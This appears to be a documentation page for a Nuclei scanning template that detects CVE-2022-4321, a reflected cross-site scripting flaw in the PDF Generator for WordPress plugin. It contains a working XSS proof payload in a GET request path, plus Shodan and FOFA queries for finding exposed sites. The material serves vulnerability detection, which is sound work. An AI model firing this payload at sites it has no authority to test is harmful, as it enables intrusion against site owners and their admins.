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PDF Generator for WordPress < 1.1.2 - Cross Site Scripting

ID: CVE-2022-4321

Severity: medium

Author: r3Y3r53,HuTa0

Tags: cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp,wpswings

Description

Section titled “Description”

The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin

YAML Source

Section titled “YAML Source”
id: CVE-2022-4321


info:
  name: PDF Generator for WordPress < 1.1.2 - Cross Site Scripting
  author: r3Y3r53,HuTa0
  severity: medium
  description: |
    The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress website, potentially leading to unauthorized access, data theft, or further compromise of the website.
  remediation: Fixed in version 1.1.2
  reference:
    - https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4321
    - https://wordpress.org/plugins/pdf-generator-for-wp/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/kwalsh-rz/github-action-ecr-scan-test
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4321
    cwe-id: CWE-79
    epss-score: 0.00078
    epss-percentile: 0.32646
    cpe: cpe:2.3:a:wpswings:pdf_generator_for_wordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpswings
    product: pdf_generator_for_wordpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/pdf-generator-for-wp
    fofa-query: body=/wp-content/plugins/pdf-generator-for-wp
    publicwww-query: "/wp-content/plugins/pdf-generator-for-wp"
  tags: cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp,wpswings


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>alert(document.domain)</script>'
          - 'pdf-generator-for-wp'
          - 'Total execution time is'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502201a46f99fe4f67d045ac1fdda02602f667e4d9f28d4ceb187402d6d1275f8948c022100aa158636fbd8f57ef06ce4bdb00365c0aa2f98c8f595f19f4db9a11d1e379baa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4321.yaml"

View on Github